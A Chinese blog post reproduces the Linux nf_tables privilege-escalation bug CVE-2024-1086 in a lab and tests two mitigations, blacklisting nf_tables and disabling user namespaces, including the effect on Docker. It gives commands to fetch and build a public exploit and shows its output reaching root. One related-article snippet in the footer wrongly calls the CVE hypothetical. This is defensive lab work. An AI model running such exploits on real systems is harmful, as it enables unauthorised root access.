CVE2024-1086 nftables UAF漏洞

最新推荐文章于 2024-07-01 15:54:47 发布
最新推荐文章于 2024-07-01 15:54:47 发布
阅读量1.7k 收藏 11
点赞数 14
文章标签： 程序人生
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34135099/article/details/139637975
版权

具作者介绍，该漏洞影响从 v5.14（包括）到 v6.6（包括）的版本，但不包括已修补的分支 v5.15.149>、v6.1.76>、v6.6.15>。这些版本的修补程序已于 2024 年 2 月发布。底层漏洞影响从 v3.15 到 v6.8-rc1 的所有版本（不包括已修补的稳定分支）。- - - 漏洞细节由于内容太深，看起来也是十分费劲，像是看天书一样。有兴趣的可以浏览作者发布的漏洞介绍[1]。我这里就力所能及的给一些修复方案的介绍。

个人理解

首先这个漏洞来自于netfilter子系统nf_tables组件中存在 UAF漏洞 。nf_tables据我之前了解，他作用类似于iptables，都是用于防火墙。据网上不可靠消息说是iptables面对大量策略配置时候，性能堪忧，所以才诞生出了nf_tables。再一个该漏洞是需要用到用户命名空间，命名空间是用于隔离虚拟环境的。

实验目的

  • 关闭nf_tables模块实现漏洞封堵 echo "blacklist nf_tables" >>/etc/modprobe.d/nf_tables-blacklist.conf
  • 关闭用户命名空间实现漏洞封堵，以及测试对docker容器的影响 echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf;sysctl -p /etc/sysctl.d/userns.conf

历程记录

失败样例： 本来是准备在ubuntu22.04 内核版本从原来的5.15.0 升级至6.3.13（按照kernel-exploit-factory[2]样例用的6.3.13复现该漏洞的提权。但由于个人并不是从事于内核开发，能力不足。到了最后一步也无法复现提权。(USERMODEHELPER 内核参数已编译入内核，但提权时候报此参数是关闭的)。

# 编译linux内核
root@josiahserver:~# wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.13.tar.xz #下载内核源码
root@josiahserver:~# tar -xf linux-6.3.13.tar.xz;cd linux-6.3.13 #解压并进入目录
root@josiahserver:~# apt install make gcc fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison dwarves zstd  #安装编译需要的工具
root@josiahserver:~# scripts/config --disable SYSTEM_TRUSTED_KEYS  #关闭系统证书的编译参数
root@josiahserver:~# scripts/config --disable SYSTEM_REVOCATION_KEYS  #关闭系统证书的编译参数
root@josiahserver:~# make menuconfig     #进入编译选项菜单
root@josiahserver:~# make -j4            #使用4线程编译
root@josiahserver:~# make modules_install  #安装模块
root@josiahserver:~# make install          #安装内核，安装结束后重启服务器

# 执行提权，我们这里可以看到，user namespace（用户命名空间），network namespace（网络命名空间）及 nftables是必须的参数，其他一些的话按照作者介绍都是绕过一些内核机制，可以理解成提权辅助吧。 
root@josiahserver:~# modprobe nf_tables  #启用nftables内核模块
root@josiahserver:~# su wxy
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[!] failed to find kernel code segment... CONFIG_STATIC_USERMODEHELPER disabled?
$ id
uid=1001(wxy) gid=1001(wxy) groups=1001(wxy)

# 切换至root 查看内核编译参数，m是编译成内核模块，编译安装重启系统后可以进行modprobe加载模块，y是编译在内核中的，无需额外加载模块。
root@josiahserver:~# grep -i nf_tables /boot/config-6.3.13
CONFIG_NF_TABLES=m
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_TABLES_IPV6=y
CONFIG_NF_TABLES_BRIDGE=m
root@josiahserver:~# grep -i CONFIG_STATIC_USERMODEHELPER /boot/config-6.3.13
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"

项目样例： 以下是用现成的kvm镜像验证提权。但是该方式由于都是在KernelCTF环境中使用syzkaller内核fuzz工具。内核模块都是直接编译到内核中，无法实现指定模块关闭，来论证个人的理解。

  1. 克隆项目 kernel-exploit-factory
  2. 进入目录 cd kernel-exploit-factory/CVE-2024-1086
  3. 查看README下载镜像到当前目录
  4. 运行 ./start.sh启动并进入测试的虚机。 
root@syzkaller:~# su hi
$ id
uid=1000(hi) gid=1000(hi) groups=1000(hi)
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000214000000
[+] verified modprobe_path/usermodehelper_path: 0000000215933e33 ('/sbin/usermode-helper')...
[*] overwriting path with PIDs in range 0->4194304...
# id  #提权成功
uid=0(root) gid=0(root) groups=0(root)

成功样例： 翻看CVE-2024-1086漏洞的作者代码[3]，在项目中作者使用的linux内核版本是6.1.72，我也就直接去ubuntu官网下载内核包[4]用dpkg安装软件包方式来升级内核（编译安装花的时间实在太长，那就直接安装人家编译好的）。

# 安装6.1.72内核
root@josiahserver:~# wget https://kernel.ubuntu.com/mainline/v6.1.72/amd64/linux-image-unsigned-6.1.72-060172-generic_6.1.72-060172.202401101633_amd64.deb
root@josiahserver:~# wget https://kernel.ubuntu.com/mainline/v6.1.72/amd64/linux-modules-6.1.72-060172-generic_6.1.72-060172.202401101633_amd64.deb`
root@josiahserver:~# wget https://kernel.ubuntu.com/mainline/v6.1.72/amd64/linux-headers-6.1.72-060172-generic_6.1.72-060172.202401101633_amd64.deb
root@josiahserver:~# dpkg --install *.deb
root@josiahserver:~# reboot

# 编译CVE2024-1086提权exploit
root@josiahserver:~# git clone https://github.com/Notselwyn/CVE-2024-1086
root@josiahserver:~# cd CVE-2024-1086
root@josiahserver:~# make
# 复制到普通用户目录并授权，切换账户后运行提权成功。

实验论证1：关闭nf_tables模块实现漏洞封堵

root@josiahserver:~# echo "blacklist nf_tables" >>/etc/modprobe.d/nf_tables-blacklist.conf
root@josiahserver:~# update-initramfs -u -k 6.1.72-060172-generic #跟新指定内核的启动模块
root@josiahserver:~# reboot
root@josiahserver:~# lsmod |grep nf_tables #查看内核模块无输出说明已禁用

# 实验验证
root@josiahserver:~# su wxy
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
mnl_cb_run: Invalid argument   #发现已无法进行nftables的内核调用

实验论证2：关闭用户命名空间实现漏洞封堵

root@josiahserver:~# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf;sysctl -p /etc/sysctl.d/userns.conf
user.max_user_namespaces = 0
root@josiahserver:~# 
root@josiahserver:~# lsmod |grep nf_tables
nf_tables             294912  15 nft_chain_nat
nfnetlink              20480  3 nf_conntrack_netlink,nf_tables
libcrc32c              16384  5 nf_conntrack,nf_nat,btrfs,nf_tables,raid456

# 实验验证
root@josiahserver:~# su wxy
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
unshare(CLONE_NEWUSER): No space left on device #无法创建用户命名空间

# 用root账户查看docker情况
root@josiahserver:~# cat /lib/systemd/system/docker.service
...
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --userns-remap=wxy #默认docker中使用的是root用户权限，我们设置使用docker权限映射，这样代表容器root用户映射到宿主机docker指定的用户uid上。这里的区别详见下面<<docker用户命名空间>>
...
root@josiahserver:~# docker run --name nginx-test3 -p 8082:80 -d nginx
32290608b5b5ff8d65e7c95a7844801205f2691d0b580fcd73997b9ab6481284
docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: can't get final child's PID from pipe: EOF: unknown.  #这里由于无法创建用户命名空间导致启动容器失败。

docker用户命名空间：重新开启用户命名空间

root@josiahserver:~# cat /etc/subuid
wxy:165536:65536  #用户wxy 在当前的 user namespace 中具有65536个从属用户。这些从属用户被映射成ID为0-65535的用户

root@josiahserver:~# docker exec -it nginx-test3 bash  #进入容器
root@32290608b5b5:/# cat /proc/self/uid_map
         0     165536      65536   #0代表容器中当前账户UID，165536是宿主机中对应账户的UID，说明容器中root用户对应的是宿主机uid 165536 的用户
root@32290608b5b5:/# ls -l /proc/self/ns/user  #查看容器进程所在哪个命名空间
lrwxrwxrwx 1 root root 0 Jun 12 13:42 /proc/self/ns/user -> 'user:[4026532655]'

个人总结

虽然这次论证失败，但还是有点收获。发现现在的内核编译都支持只编译修改部分，大大缩短编译时间。如果整个内核编译的话4线程也得编译1个小时样子。也就是如果有内核编译参数修改，只需要重新再make 一次，而不需要``make clean`.另外编译新内核时候不要使用其他人分享的内核的config编译参数文件，可能会直接系统开不了机，尽量使用内核自带的config编辑。个人对C语言和内核工作原理和内核编译参数的认知不足，也是一开始论证失败的原因。后续还得多去了解了解。

从实验可以发现，关闭用户命名空间对容器以及k8s的影响非常大，直接会导致服务不可用。关闭nf_tables模块只要使用的还是iptables基本就没啥影响，只是新的类似于iptables防火墙功能的nft无法使用而已。毕竟在Linux3.10内核中还没nf_tables内核模块，iptables不还是用的好好地么。

公众号二维码
公众号二维码
个人博客二维码
个人博客二维码

客官，欢迎光临本站！路途遥远，常进来看看！

参考资料
[1]

作者漏洞介绍: https://pwning.tech/nftables/

 [2]

kernel-exploit-factory漏洞复现项目: https://github.com/bsauce/kernel-exploit-factory.git

 [3]

作者提权代码: https://github.com/Notselwyn/CVE-2024-1086

 [4]

ubuntu内核官网: https://kernel.ubuntu.com/mainline/v6.1.72/

本文由 mdnice 多平台发布

JosiahWU
关注
  • 14
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
exploit （Linux 内核CVE-2024-1086漏洞复现脚本）
06-06
Linux 内核CVE-2024-1086漏洞复现脚本。 在普通用户下，将文件上传后，chmod 777 exploit ，然后运行 ./exploit ，提权成功，输入id，可看到已经是root权限 。
tomcat 升级到8.5.99后，系统启动不起来问题（修复 CVE-2024-24549 拒绝访问漏洞）
04-16
描述中提到的“在8.5.98基础上，增加了修复CVE-2024-24549拒绝访问漏洞的代码”，这表明Tomcat 8.5.99主要的更新内容是针对一个名为CVE-2024-24549的安全漏洞进行修复。CVE（Common Vulnerabilities and Exposures）...
针对 Linux内核中提权漏洞CVE-2024-1086的[超详细]解决方案
weixin_45408984的博客
06-19 1843
Linux内核存在提取权限漏洞(漏洞编号CVE-2024-1086），攻击者利用该漏洞可在本地进行提权操作，最高可获取目标服务器的root管理权限。目前官方已经升级内核版本修复漏洞,通过本篇文章，可以检查系统是否受CVE-2024-1086漏洞的影响，并及时更新内核以修复该漏洞。
【kernel exploit】CVE-2024-1086 nftables UAF漏洞-Dirty Pagedirectory利用方法
panhewu9919的博客
05-10 5331
本文的利用方法参考了，改进该方法后用于提权，并引入了一些实用的利用技巧（例如TLB flushing）。基于Dirty Pagedirectory技术（页表混淆），从用户层实施内核空间镜像攻击（KSMA脏页目录技术能够对物理内存进行无限制、稳定的读写。还能通过设置权限flag来绕过权限检查，这样就能写入只读页面，例如覆写。本节以 PUD+PMD方法来阐释原理，POC中采用的是PMD+PTE策略。总体思路：利用Double-Free等漏洞将PUD和PMD分配到同一地址。
CVE-2024-1086漏洞处理
lanluyug的博客
06-11 1010
（2）若暂时无法进行更新且业务不需要，可以通过阻止加载受影响的 netfilter (nf_tables) 内核模块来缓解。（3）如果无法禁用该模块，可在非容器化部署中，对用户命名空间进行限制。2、如果不能禁用该模块，且是非容器化部署，则禁用其命名空间。（1）升级Linux内核版本修复漏洞。本文主要是通过第二种方式缓解漏洞攻击。1、禁用加载netfilter。
【漏洞预警】Linux kernel权限提升漏洞（CVE-2024-1086）
热门推荐
qq_18209847的博客
04-08 1万+
Linux内核版本v5.14 – v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞，由于在nft_verdict_init（）函数中，允许正值作为hook判决中的丢弃错误，因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时，nf_hook_slow（）函数可能会导致双重释放漏洞，本地低权限威胁者可利用该漏洞将权限提升为root。加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
Linux kernel权限提升漏洞（CVE-2024-1086）
maxiluo的博客
06-13 619
Linux内核版本v3.15 - v6.7的netfilter子系统nf_tables组件中存在释放后使用漏洞，由于在nft_verdict_init（）函数中，允许正值作为hook判决中的丢弃错误，因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时，nf_hook_slow（）函数可能会导致双重释放漏洞，本地低权限威胁者可利用该漏洞将权限提升为root。注：该漏洞不适用于内核配置CONFIG_INIT_ON_ALLOC_DEFAULT_ON="y且Linux内核版本>6.4的Linux系统。
Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)
做自己喜欢的事，并将其发挥到极致！
06-06 6624
2024年1月，各Linux发行版官方发布漏洞公告，修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-2024-1086)。在nft_verdict_init()函数的错误处理导致nf_hook_slow()函数在NF_DROP的分支的时候以NF_ACCEPT返回，进而在NF_HOOK()函数产生释放后重用漏洞。鉴于该漏洞易于利用，并且允许本地攻击者提升至ROOT权限。​
CVE-2024-1086 Linux kernel nf_tables 本地提权漏洞修复方法--多种方式，亲测！！！
qq_21160025的博客
06-03 8251
CVE-2024-1086 Linux kernel nf_tables 本地提权漏洞
Linux 内核CVE-2024-1086漏洞修复方法
20000_ZuuuuYao的博客
06-06 4735
漏洞详情Linux kernel权限提升漏洞（CVE-2024-1086）基本情况:攻击者利用该漏洞可在本地进行提权操作，最高可获取目标服务器的root管理权限。影响范围修复建议。
Centos 9/8/7 离线/在线升级内核（漏洞编号CVE-2024-1086）
06-07 3215
Centos 9/8/7 离线/在线升级内核，漏洞，CVE-2024-1086，kernel
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...
Linux内核漏洞CVE-2024-1086的风险评估与修复方法
q4691001的博客
05-05 9756
4. **应用补丁**：如果Linux发行版没有发布新的内核版本，但提供了针对此漏洞的补丁，你需要下载并应用这些补丁。3. **更新Linux内核**：如果你的Linux发行版已经发布了包含此漏洞修复的内核更新，你可以使用包管理器来更新内核。2. **查找相关的安全公告**：访问你所使用的Linux发行版的官方网站或安全公告页面，查找关于CVE-2024-1086的修复信息。1. **检查当前Linux内核版本**：运行`uname -r`命令，以确定你当前正在运行的Linux内核版本。
Linux通用系统高危漏洞（CVE-2024-1086）修复案例
企业实战系列集 ●●● https://ximenjianxue.blog.csdn.net
06-26 1117
2024年3月28日，监 Linux kernel权限提升漏洞（CVE-2024-1086）的PoC/EXP在互联网上公开，该漏洞的CVSS评分为7.8，目前漏洞细节已经公开披露，美国网络安全与基础设施安全局（CISA）6月1日也更新了其已知漏洞（KEV）目录，要求联邦机构在 2024 年 6 月 20 日之前打上补丁，修复追踪编号为 CVE-2024-1086 的 Linux 内核权限提升漏洞。由于该漏洞的公开性，攻击者可能会利用这个漏洞进行恶意攻击，因此建议尽快采取修复措施。
（CVE-2024-1086）Linux内核中提权漏洞CVE-2024-1086
最新发布
qq_52469895的博客
07-01 348
# 影响范围以下版本的Linux内核受该漏洞影响：该漏洞不适用于内核配置 `CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y` 且 Linux 内核版本 > 6.4 的系统。## 检查是否受漏洞影响### 1. 检查当前Linux内核版本在终端运行以下命令，查看当前内核版本：uname -a。
linux升级内核
weixin_46627652的博客
03-24 167
【代码】linux升级内核。
linux漏洞编号cve-2024-1086
06-15
CVE-2024-1086是一个尚未公开的、假设性的漏洞编号，因为2024年尚未到来，所以目前还没有官方发布的CVE-2024-1086。CVE（Common Vulnerabilities and Exposures）是用于统一标识公开的安全漏洞的标准命名系统，由美国CERT Coordination Center（CERT/CC）维护。 通常情况下，当一个新的漏洞被发现并上报给CVE项目，它会在相应的年份的CVE列表中获得一个唯一的编号。在实际发生之前，具体的漏洞细节（如影响范围、攻击向量、修复建议等）都是保密的，直到安全公告发布或厂商发布安全更新。 如果你对某个已知的CVE感兴趣，比如CVE-2022-xxxx这样的，我可以帮你查找相关的详细信息。不过，由于我无法提供未来尚未公布的漏洞信息，请告诉我你想了解哪个已知的CVE，我会尽我所能为你提供相关信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值